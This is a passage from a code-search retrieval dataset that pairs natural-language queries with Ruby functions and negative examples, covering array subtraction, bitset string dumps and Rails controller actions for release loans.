"def substract!(other, options = {})\n ignore_attributes = options[:ignore_attributes]\n\n sorted_self = self.dup.sort!\n if sorted_self.size > 0 and other.size > 0\n other = other.dup.sort!.merge_adjacents!\n\n last_i = 0\n other.each do |p_r|\n i = last_i\n while sorted_self[i] and sorted_self[i].end < p_r.begin\n i += 1\n end\n last_i = i\n while sorted_self[i] and sorted_self[i].begin < p_r.end\n if ignore_attributes or sorted_self[i].has_equal_pointer_attributes?(p_r)\n self_i = self.index(sorted_self[i], :dont_ignore_attributes => !ignore_attributes)\n if sorted_self[i].begin < p_r.begin\n copy = sorted_self[i].dup\n sorted_self[i] = copy.new_dup(copy.begin, p_r.begin)\n self[self_i] = sorted_self[i]\n sorted_self.insert(i + 1, copy.new_dup(p_r.begin, copy.end))\n self.insert(self_i + 1, sorted_self[i + 1])\n i += 1\n elsif sorted_self[i].end <= p_r.end\n sorted_self.delete_at(i)\n self.delete_at(self_i)\n else\n sorted_self[i] = sorted_self[i].new_dup(\n p_r.end, sorted_self[i].end)\n self[self_i] = sorted_self[i]\n end\n else\n i += 1\n end\n end\n end\n end\n return self\n end",
"def -(a)\n return (CAS::const(self) - a) if a.is_a? CAS::Op\n self.overloaded_minus a\n end",
"def &(other)\n (to_set - other.to_set).inject(clone) do |copy, e|\n copy.delete e\n copy\n end\n end",
"def -(other)\n memory_size_operation(other) do |self_bytes, other_bytes|\n self_bytes - other_bytes\n end\n end",
"def minus(other)\n self.dup.filter! do |soln|\n !other.any? {|soln2| soln.compatible?(soln2) && !soln.disjoint?(soln2)}\n end\n end",
"def remove!( *entries )\n _modify( *entries ) { |a,b| a - b }\n end",
"def attribute_set_subtract(a1, a2)\n a2_ids = a2.map {|a| a['id']}.compact\n\n a1.select {|a| a['id'] && !a2_ids.include?(a['id'])}\n end",
"def swap(a, b); self.clone.swap!(a,b); end",
"def array_minus(array1,array2)\n # keyan's solution -- does not change array\n array = array1\n array.each do |item|\n array2.each do |item2|\n if item == item2\n array.delete(item)\n end\n end\n end\n return array\nend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Create a string representation where instead of integer elements, the ith element of vocabulary is displayed instead. Vocabulary is a Vector of Strings. separator The string to put in between elements
|
def to_s(separator, vocabulary)
if ((vocabulary).nil?)
return to_s(nil)
end
str = ""
i = 0
while i < (@bits.attr_length << LOG_BITS)
if (member(i))
if (str.length > 0)
str += separator
end
if (i >= vocabulary.size)
str += "'" + RJava.cast_to_string(RJava.cast_to_char(i)) + "'"
else
if ((vocabulary.get(i)).nil?)
str += "'" + RJava.cast_to_string(RJava.cast_to_char(i)) + "'"
else
str += RJava.cast_to_string(vocabulary.get(i))
end
end
end
i += 1
end
return str
end
|
[
"def key_with_separator(separator)\n segments.join(separator)\n end",
"def pp_vector(vector)\n puts vector.map { |y| y.inspect[1...-1].split('').join(' ') + ' , ' }.join[0...-3]\n print_new_line\nend",
"def list_all_words\r\n @vocabularies.sort.each do |name, words|\r\n puts \"In vocabulary #{name}:\"\r\n buffer = ''\r\n \r\n words.sort.each do |k,v|\r\n if v.immediate?\r\n temp = \" #{k.ljust(12)}!\"\r\n else\r\n temp = \" #{k.ljust(12)} \"\r\n end\r\n \r\n if buffer.length + temp.length > 78\r\n puts buffer\r\n buffer = ''\r\n end\r\n\r\n buffer << temp\r\n end\r\n \r\n puts buffer if buffer.length > 0\r\n end\r\n end",
"def list_path_words\r\n @vocabulary_list.each do |words|\r\n puts \"In vocabulary #{query_name(words)}:\"\r\n buffer = ''\r\n \r\n words.sort.each do |k,v|\r\n if v.immediate?\r\n temp = \" #{k.ljust(12)}!\"\r\n else\r\n temp = \" #{k.ljust(12)} \"\r\n end\r\n \r\n if buffer.length + temp.length > 78\r\n puts buffer\r\n buffer = ''\r\n end\r\n\r\n buffer << temp\r\n end\r\n \r\n puts buffer if buffer.length > 0\r\n end\r\n end",
"def separator(text); end",
"def segmented_output\n if @words.join(\"\").length == @str.length\n return @words.join(\", \")\n else\n get_error_message()\n end\n end",
"def join(separator = $,)\n result = \"\"\n if separator\n each_with_index { |obj, i| result << separator if i > 0; result << obj.to_s }\n else\n each { |obj| result << obj.to_s }\n end\n result\n end",
"def printable\n word_def = []\n \n @entries.sort.collect do |key, value|\n word_def << \"[#{key}] \\\"#{value}\\\"\"\n end\n word_def.join(\"\\n\")\n end",
"def to_sentence(items)\n if items.size <= 2\n items.join(items.size == 2 ? \" and \" : \"\")\n else\n [items[0..-2].join(\", \"), items.last].join(\", and \")\n end\n end",
"def sep(separator)\n ->(a, b){ a << separator.html_safe << b }\n end",
"def to_sentence(items)\n if items.size <= 2\n items.join(items.size == 2 ? ' and ' : '')\n else\n [items[0..-2].join(\", \"), items.last].join(\", and \")\n end\n end",
"def format_vector(vec)\n timeset = vec.timeset ? \"> #{vec.timeset.name}\" : ''\n pin_vals = vec.pin_vals ? \"#{vec.pin_vals} ;\" : ''\n if vec.repeat > 1\n microcode = \"repeat #{vec.repeat}\"\n else\n microcode = vec.microcode ? vec.microcode : ''\n end\n if vec.pin_vals && ($_testers_enable_vector_comments || vector_comments)\n comment = \" // #{vec.number}:#{vec.cycle} #{vec.inline_comment}\"\n else\n comment = vec.inline_comment.empty? ? '' : \" // #{vec.inline_comment}\"\n end\n\n \"#{microcode.ljust(65)}#{timeset.ljust(31)}#{pin_vals}#{comment}\"\n end",
"def separator\n \":\"\n end",
"def sequence_separator; end",
"def vocabulary_label\n vocabulary.blank? ? \"Unnassigned\" : vocabulary.label\n end",
"def format_vector(vec)\n timeset = vec.timeset ? \"#{vec.timeset.name}\" : ''\n pin_vals = vec.pin_vals ? \"#{vec.pin_vals};\".gsub(' ', '') : ''\n sig_name = tester.ordered_pins_name || 'ALL'\n if sig_name.nil?\n Origen.log.warn \"WARN: SigName must be defined for STIL format. Use pin_pattern_order(*pins, name: <sigName>). Default to 'ALL'\"\n sig_name = 'ALL'\n end\n if vec.repeat > 1\n microcode = \"Loop #{vec.repeat} {\\n\"\n else\n microcode = vec.microcode ? vec.microcode : ''\n end\n if vec.pin_vals && ($_testers_enable_vector_comments || vector_comments)\n comment = \"// V:#{vec.number} C:#{vec.cycle} #{vec.inline_comment}\"\n else\n comment = vec.inline_comment.empty? ? '' : \"Ann {*// #{vec.inline_comment}*}\"\n end\n\n microcode_post = vec.repeat > 1 ? \"\\n}\" : ''\n \"#{microcode} V { \\\"#{sig_name}\\\" = #{pin_vals} }#{comment}#{microcode_post}\"\n end",
"def display_stops(system, train)\n return system[train].join(', ')\nend",
"def separator\n @@default_separator\n end",
"def breakable(sep=' ', width=nil)\n @output << sep\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Dump a commaseparated list of the words making up the bit set. Split each 64 bit number into two more manageable 32 bit numbers. This generates a commaseparated list of C++like unsigned long constants.
|
def to_string_of_half_words
s = StringBuffer.new
i = 0
while i < @bits.attr_length
if (!(i).equal?(0))
s.append(", ")
end
tmp = @bits[i]
tmp &= 0xffffffff
s.append(tmp)
s.append("UL")
s.append(", ")
tmp = @bits[i] >> 32
tmp &= 0xffffffff
s.append(tmp)
s.append("UL")
i += 1
end
return s.to_s
end
|
[
"def long()\n\t\t\twords = []\n\t\t\t7.downto(0) do |x|\n\t\t\t\tword = (@addr >> 16*x) & 0xffff \n\t\t\t\twords.push( word.to_s(16).rjust(4, \"0\") )\n\t\t\tend\n\t\t\treturn words.join(':')\n\t\tend",
"def to_string_of_words\n s = StringBuffer.new\n i = 0\n while i < @bits.attr_length\n if (!(i).equal?(0))\n s.append(\", \")\n end\n s.append(@bits[i])\n s.append(\"L\")\n i += 1\n end\n return s.to_s\n end",
"def dump_memory_list\r\n list_memory.each_with_index {|x,i| puts \"#{ i }. #{ x[0].to_s(16) }(#{ x[1] })\"}\r\n true\r\n end",
"def print_nice_binary(num)\n if num <= (2**31)\n puts \"\\t32 Bit Format\".yellow\n print \"\\t\"\n 31.downto(0) do |n| \n print num[n]\n print \" \" if (n%4 == 0)\n end\n end\n if num <= (2**63)\n puts \"\\n\\t64 Bit Format\".yellow\n print \"\\t\"\n 63.downto(0) do |n|\n print num[n]\n print \" \" if (n%4 == 0)\n end\n else\n puts \"\\n\\t128 Bit Format\".yellow\n print \"\\t\"\n 127.downto(0) do |n|\n print\"\\n\\t\" if (n == 63)\n print num[n]\n print \" \" if (n%4 == 0) \n end\n end\n puts\n end",
"def set_bits\n bits = []\n 0.upto(63) {|i| bits << i if set?(i)}\n bits\n end",
"def to_bit_list(word)\n i = 0\n bit_list = []\n while i < word.size\n if word[i] == ')'\n i = i + 1\n next\n elsif word[i] == '('\n i = i + 1\n entry = 0\n while word[i] != ')'\n ch = word[i].each_byte.to_a[0] - 'a'.each_byte.to_a[0]\n entry |= (1 << ch)\n i = i + 1\n end\n #puts entry.to_s(2)\n bit_list.push(entry)\n else # single char\n ch = word[i].each_byte.to_a[0] - 'a'.each_byte.to_a[0]\n entry = (1 << ch)\n bit_list.push(entry)\n #puts entry.to_s(2)\n i = i + 1\n end\n end\n bit_list\nend",
"def minterms\n set = Set.new\n\n bits = @inputs.map(&:bit)\n num_dc = bits.count(Bit::DC)\n str = bits.join\n # There are 2**num_dc combinations\n (2**num_dc).times do |i|\n str_copy = str.dup\n\n # Convert to binary form and pad with 0\n cnt_str = i.to_s(2).rjust(num_dc, '0')\n cnt_str.split('').each do |b|\n str_copy = str_copy.sub(Bit::DC, b)\n end\n set.add(str_copy.to_i(2))\n end\n\n set\n end",
"def _build_byte_list(base, regnums)\n regnums.collect { |regnum| Regexp.escape((base | regnum).chr) }.join('')\n end",
"def codewords\n codewords = []\n data = binary_data\n data, codewords[9] = data.divmod 636\n 8.downto(0) do |i|\n data, codewords[i] = data.divmod 1365\n end\n codewords\n end",
"def _build_byte_list(base, regnums)\n\t\tregnums.collect { |regnum| Regexp.escape((base | regnum).chr) }.join('')\n\tend",
"def get_target64bit_string_from_value(word)\n num_hex_digits = 8 * 2\n buf = StringBuffer.new(num_hex_digits + 2)\n buf.append(\"0x\")\n digits = Long.to_hex_string(word)\n digits = RJava.cast_to_string(digits.to_upper_case)\n padding = num_hex_digits - digits.length\n # pad left with zeros\n i = 1\n while i <= padding\n buf.append(Character.new(?0.ord))\n i += 1\n end\n buf.append(digits)\n return buf.to_s\n end",
"def list_bit_flags\n if (!@cached)\n @cached = lists.uniq.inject(0) { |memo,cur| memo |= (1 << cur) }\n end\n @cached\n end",
"def to_binary(bplist); end",
"def to_s\n bits=\"\"\n @fields.each {|f| \n if f.kind_of? Fields::Field\n bits << f.bitstring\n else\n bits << f.to_bitstring\n end\n }\n [bits].pack('B*')\n end",
"def to_s\n bits.join\n end",
"def write_int64( *n )\n n.each do |i|\n hi = ( i >> 32 ) & 0xFFFFFFFF\n lo = i & 0xFFFFFFFF\n @content << [ hi, lo ].pack( \"N2\" )\n end\n end",
"def dump\n [@size, *@bitfield.field].pack(\"I*\")\n end",
"def bitmask(int)\n return int.to_s(2).reverse.split('')\n end",
"def dump\n [@size, *@bitfield.field].pack(\"I*\")\n #Marshal.dump([@size, @bitfield])\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Dump a commaseparated list of the words making up the bit set. This generates a commaseparated list of Javalike long int constants.
|
def to_string_of_words
s = StringBuffer.new
i = 0
while i < @bits.attr_length
if (!(i).equal?(0))
s.append(", ")
end
s.append(@bits[i])
s.append("L")
i += 1
end
return s.to_s
end
|
[
"def to_string_of_half_words\n s = StringBuffer.new\n i = 0\n while i < @bits.attr_length\n if (!(i).equal?(0))\n s.append(\", \")\n end\n tmp = @bits[i]\n tmp &= 0xffffffff\n s.append(tmp)\n s.append(\"UL\")\n s.append(\", \")\n tmp = @bits[i] >> 32\n tmp &= 0xffffffff\n s.append(tmp)\n s.append(\"UL\")\n i += 1\n end\n return s.to_s\n end",
"def long()\n\t\t\twords = []\n\t\t\t7.downto(0) do |x|\n\t\t\t\tword = (@addr >> 16*x) & 0xffff \n\t\t\t\twords.push( word.to_s(16).rjust(4, \"0\") )\n\t\t\tend\n\t\t\treturn words.join(':')\n\t\tend",
"def list_bit_flags\n if (!@cached)\n @cached = lists.uniq.inject(0) { |memo,cur| memo |= (1 << cur) }\n end\n @cached\n end",
"def to_bit_list(word)\n i = 0\n bit_list = []\n while i < word.size\n if word[i] == ')'\n i = i + 1\n next\n elsif word[i] == '('\n i = i + 1\n entry = 0\n while word[i] != ')'\n ch = word[i].each_byte.to_a[0] - 'a'.each_byte.to_a[0]\n entry |= (1 << ch)\n i = i + 1\n end\n #puts entry.to_s(2)\n bit_list.push(entry)\n else # single char\n ch = word[i].each_byte.to_a[0] - 'a'.each_byte.to_a[0]\n entry = (1 << ch)\n bit_list.push(entry)\n #puts entry.to_s(2)\n i = i + 1\n end\n end\n bit_list\nend",
"def flags_list(names = false)\n raise LibraryError, 'Magic library is not open' if closed?\n return [names ? 'NONE' : 0] if @flags.zero?\n\n n, i = 0, @flags\n flags = []\n\n @@flags_map ||= flags_as_map if names\n\n while i > 0\n n = 2 ** (Math.log(i) / Math.log(2)).to_i\n i = i - n\n flags.insert(0, names ? @@flags_map[n] : n)\n end\n\n flags\n end",
"def bitmask(int)\n return int.to_s(2).reverse.split('')\n end",
"def codewords\n codewords = []\n data = binary_data\n data, codewords[9] = data.divmod 636\n 8.downto(0) do |i|\n data, codewords[i] = data.divmod 1365\n end\n codewords\n end",
"def set_bits\n bits = []\n 0.upto(63) {|i| bits << i if set?(i)}\n bits\n end",
"def bits\n self.class.bits.select { |bit, _| include? bit }.keys\n end",
"def bits\n self.class.bits.select { |bit, _| include? bit }.keys\n end",
"def flags_names\n flags_list(true)\n end",
"def to_s\n bits=\"\"\n @fields.each {|f| \n if f.kind_of? Fields::Field\n bits << f.bitstring\n else\n bits << f.to_bitstring\n end\n }\n [bits].pack('B*')\n end",
"def to_s\n bits.join\n end",
"def flag\n flags.join(\", \")\n end",
"def printable\n word_def = []\n \n @entries.sort.collect do |key, value|\n word_def << \"[#{key}] \\\"#{value}\\\"\"\n end\n word_def.join(\"\\n\")\n end",
"def to_s\n @bitfield.pack('C*')\n end",
"def output_constants\n @e.rodata { @string_constants.each { |c, l| @e.string(l, c) } }\n @e.bss { @global_constants.each { |c| @e.bsslong(c) }}\n end",
"def dump_memory_list\r\n list_memory.each_with_index {|x,i| puts \"#{ i }. #{ x[0].to_s(16) }(#{ x[1] })\"}\r\n true\r\n end",
"def bits\n \"1\" * @prefix + \"0\" * (128 - @prefix)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /release_loans/1 GET /release_loans/1.json
|
def show
@release_loan = ReleaseLoan.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @release_loan }
end
end
|
[
"def new\n @release_loan = ReleaseLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release_loan }\n end\n end",
"def loans\n url = \"#{LOANS_PATH}/pre-approved\"\n data = perform_get(url)\n data || {}\n end",
"def index\n #@loans = Loan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @loans }\n end\n end",
"def index\n @leaks = Leak.order(\"leaked_on DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leaks }\n end\n end",
"def show\n @loan = Loan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan }\n end\n end",
"def show\n @loan_history = LoanHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan_history }\n end\n end",
"def index\n @pfitmap_releases = PfitmapRelease.all(order: \"release DESC\")\n @current_release = PfitmapRelease.find_current_release\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pfitmap_releases }\n end\n end",
"def show\n @player_loan = PlayerLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @player_loan }\n end\n end",
"def index\n @pledges = Pledge.where('user_id = ?', current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pledges }\n end\n end",
"def releases(country = nil)\n Birdman::Requester.get(\"shows/#{id}/releases/#{country}\")\n end",
"def show\n @release = @environment.releases.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @release }\n end\n end",
"def show\n @books_on_loan = BooksOnLoan.find(params[:id])\n respond_to do |format|\n format.json { render json: @books_on_loan }\n end\n end",
"def index\n @losts = Lost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @losts }\n end\n end",
"def show\n @inter_library_loan = InterLibraryLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inter_library_loan }\n end\n end",
"def index\n @releases = @environment.releases.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @releases }\n end\n end",
"def index\n @lounges = Lounge.all\n end",
"def index\n @member_lounges = MemberLounge.all\n end",
"def new\n @lounge = Lounge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lounge }\n end\n end",
"def show\n @inter_library_loan = InterLibraryLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @inter_library_loan }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /release_loans/new GET /release_loans/new.json
|
def new
@release_loan = ReleaseLoan.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @release_loan }
end
end
|
[
"def new\n @lounge = Lounge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lounge }\n end\n end",
"def new\n @lost = Lost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost }\n end\n end",
"def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lease }\n end\n end",
"def new\n @release = Release.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release }\n end\n end",
"def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lease }\n end\n end",
"def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan }\n end\n end",
"def create\n @release_loan = ReleaseLoan.new(params[:release_loan])\n\n respond_to do |format|\n if @release_loan.save\n format.html { redirect_to @release_loan, notice: 'Release loan was successfully created.' }\n format.json { render json: @release_loan, status: :created, location: @release_loan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @release_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @loan_history = LoanHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan_history }\n end\n end",
"def new\n @on_loan = OnLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @on_loan }\n end\n end",
"def new\n @leak = Leak.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @leak }\n end\n end",
"def new\n @leak = Leak.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @leak }\n end\n end",
"def new\n @holding = Holding.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holding }\n end\n end",
"def new\n @player_loan = PlayerLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @player_loan }\n end\n end",
"def new\n @borrow = Borrow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrow }\n end\n end",
"def new\n @related_release = RelatedRelease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @related_release }\n end\n end",
"def new\n @persons_release = PersonsRelease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @persons_release }\n end\n end",
"def new\n @lost_found = LostFound.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost_found }\n end\n end",
"def new\n @stalking = Stalking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stalking }\n end\n end",
"def new\n @title = t('view.banks.new_title')\n @bank = Bank.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /release_loans POST /release_loans.json
|
def create
@release_loan = ReleaseLoan.new(params[:release_loan])
respond_to do |format|
if @release_loan.save
format.html { redirect_to @release_loan, notice: 'Release loan was successfully created.' }
format.json { render json: @release_loan, status: :created, location: @release_loan }
else
format.html { render action: "new" }
format.json { render json: @release_loan.errors, status: :unprocessable_entity }
end
end
end
|
[
"def new\n @release_loan = ReleaseLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release_loan }\n end\n end",
"def create\n user = User.find_by(name: params[:loan][:name])\n @loan = user.loans.build(loan_params)\n @loan.on_loan ||= true\n\n respond_to do |format|\n if @loan.save\n format.html { redirect_to root_path, notice: 'Loan was successfully created.' }\n format.json { render :show, status: :created, location: @loan }\n else\n format.html { render :index }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.find(current_user.id)\n @loan = @user.loans.new(loan_params)\n\n respond_to do |format|\n if @loan.save\n format.html { redirect_to @loan, notice: 'Loan was successfully created.' }\n format.json { render :show, status: :created, location: @loan }\n else\n format.html { render :new }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lounge = Lounge.new(params[:lounge])\n\n respond_to do |format|\n if @lounge.save\n format.html { redirect_to @lounge, notice: 'Lounge was successfully created.' }\n format.json { render json: @lounge, status: :created, location: @lounge }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lounge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def loans\n url = \"#{LOANS_PATH}/pre-approved\"\n data = perform_get(url)\n data || {}\n end",
"def create\n @player_loan = PlayerLoan.new(params[:player_loan])\n\n respond_to do |format|\n if @player_loan.save\n format.html { redirect_to @player_loan, notice: 'Player loan was successfully created.' }\n format.json { render json: @player_loan, status: :created, location: @player_loan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @player_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(loan_params)\n @client.post(\"/#{@model}\", loan_params)\n end",
"def create\n @on_loan = OnLoan.new(params[:on_loan])\n\n respond_to do |format|\n if @on_loan.save\n format.html { redirect_to @on_loan, notice: 'On loan was successfully created.' }\n format.json { render json: @on_loan, status: :created, location: @on_loan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @on_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @member_lounge = MemberLounge.new(member_lounge_params)\n\n respond_to do |format|\n if @member_lounge.save\n format.html { redirect_to @member_lounge, notice: 'Member lounge was successfully created.' }\n format.json { render :show, status: :created, location: @member_lounge }\n else\n format.html { render :new }\n format.json { render json: @member_lounge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lounge = Lounge.new(lounge_params)\n\n respond_to do |format|\n if @lounge.save\n format.html { redirect_to @lounge, notice: 'Lounge was successfully created.' }\n format.json { render :show, status: :created, location: @lounge }\n else\n format.html { render :new }\n format.json { render json: @lounge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_billings(to_hash)\n end",
"def create\n megam_rest.post_billedhistories(to_hash)\n end",
"def create\n @lounges = Lounge.new(params[:lounge])\n if @lounges.save\n CustomLogger.debug(\"Lounge created\")\n CustomLogger.debug(\"--------------\") \n to_log(@lounges) \n @lounges = Lounge.new\n end\n @all_lounges = Lounge.all \n end",
"def create\n @books_on_loan = BooksOnLoan.new(params[:books_on_loan])\n respond_to do |format|\n if @books_on_loan.save\n format.json { render json: @books_on_loan, status: :created, \n location: @books_on_loan }\n else\n format.json { render json: @books_on_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n logger.debug \"!! create\"\n loan_params\n @loan = Loan.new(loan_params)\n # logger.debug loan_params\n\n respond_to do |format|\n if @loan.save\n format.html { redirect_to @loan, notice: 'Loan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @loan }\n else\n format.html { render action: 'new' }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @loan_debt = LoanDebt.new(params[:loan_debt])\n\n respond_to do |format|\n if @loan_debt.save\n format.html { redirect_to @loan_debt, :notice => 'Loan debt was successfully created.' }\n format.json { render :json => @loan_debt, :status => :created, :location => @loan_debt }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @loan_debt.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_loan\n book = Book.find(params[:book_id])\n book_loan = Log.create!(user: current_user, book: book, classification: Log.classifications[:book_loan],\n date: DateTime.now, due_date: 3.weeks.from_now)\n render json: book_loan, book_loan: true, status: :created\n end",
"def create\n @loanable = current_user.loanables.new(loanable_params)\n\n respond_to do |format|\n if @loanable.save\n format.html { redirect_to users_loanable_path(@loanable), notice: 'Loanable was successfully created.' }\n format.json { render :show, status: :created, location: @loanable }\n else\n format.html { render :new }\n format.json { render json: @loanable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lease = Lease.new(lease_params)\n\n respond_to do |format|\n if @lease.save\n format.html { redirect_to @lease, notice: 'Lease was successfully created.' }\n format.json { render json: @lease, status: :created, location: @lease }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lease.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PUT /release_loans/1 PUT /release_loans/1.json
|
def update
@release_loan = ReleaseLoan.find(params[:id])
respond_to do |format|
if @release_loan.update_attributes(params[:release_loan])
format.html { redirect_to @release_loan, notice: 'Release loan was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @release_loan.errors, status: :unprocessable_entity }
end
end
end
|
[
"def create\n @release_loan = ReleaseLoan.new(params[:release_loan])\n\n respond_to do |format|\n if @release_loan.save\n format.html { redirect_to @release_loan, notice: 'Release loan was successfully created.' }\n format.json { render json: @release_loan, status: :created, location: @release_loan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @release_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_aos_version(args = {}) \n put(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def box_version_release(username:, name:, version:)\n request(method: :put, path: \"/box/#{username}/#{name}/version/#{version}/release\")\n end",
"def new\n @release_loan = ReleaseLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release_loan }\n end\n end",
"def destroy\n @release_loan = ReleaseLoan.find(params[:id])\n @release_loan.destroy\n\n respond_to do |format|\n format.html { redirect_to release_loans_url }\n format.json { head :no_content }\n end\n end",
"def update\n @books_on_loan = BooksOnLoan.find(params[:id])\n respond_to do |format|\n if @books_on_loan.update_attributes(params[:books_on_loan])\n format.json { head :no_content }\n else\n format.json { render json: @books_on_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n @release = @environment.releases.find(params[:id])\n\n respond_to do |format|\n if @release.update_attributes(params[:release])\n format.html { redirect_to @release, notice: 'Release was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @interest_on_housing_loan.update(interest_on_housing_loan_params)\n format.html { redirect_to @interest_on_housing_loan, notice: 'Interest on housing loan was successfully updated.' }\n format.json { render :show, status: :ok, location: @interest_on_housing_loan }\n else\n format.html { render :edit }\n format.json { render json: @interest_on_housing_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @release_loan = ReleaseLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @release_loan }\n end\n end",
"def update\n @player_loan = PlayerLoan.find(params[:id])\n\n respond_to do |format|\n if @player_loan.update_attributes(params[:player_loan])\n format.html { redirect_to @player_loan, notice: 'Player loan was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @player_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @loan = Loan.find(params[:id])\n\n respond_to do |format|\n if @loan.update_attributes(params[:loan])\n format.html { redirect_to @loan, notice: 'Loan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @on_loan = OnLoan.find(params[:id])\n\n respond_to do |format|\n if @on_loan.update_attributes(params[:on_loan])\n format.html { redirect_to @on_loan, notice: 'On loan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @on_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit(id, loan_params)\n @client.put(\"/#{@model}/#{id}\", loan_params)\n end",
"def add_aos_version(args = {}) \n post(\"/aosversions.json/\", args)\nend",
"def put(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.put(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def update\n @borrower = Borrower.find(params[:id])\n\n respond_to do |format|\n if @borrower.update_attributes(params[:borrower])\n \n format.json { render json: @borrower, status: :created, location: @borrower }\n else\n \n format.json { render json: @borrower.errors, status: :unprocessable_entity }\n end\n end\n end",
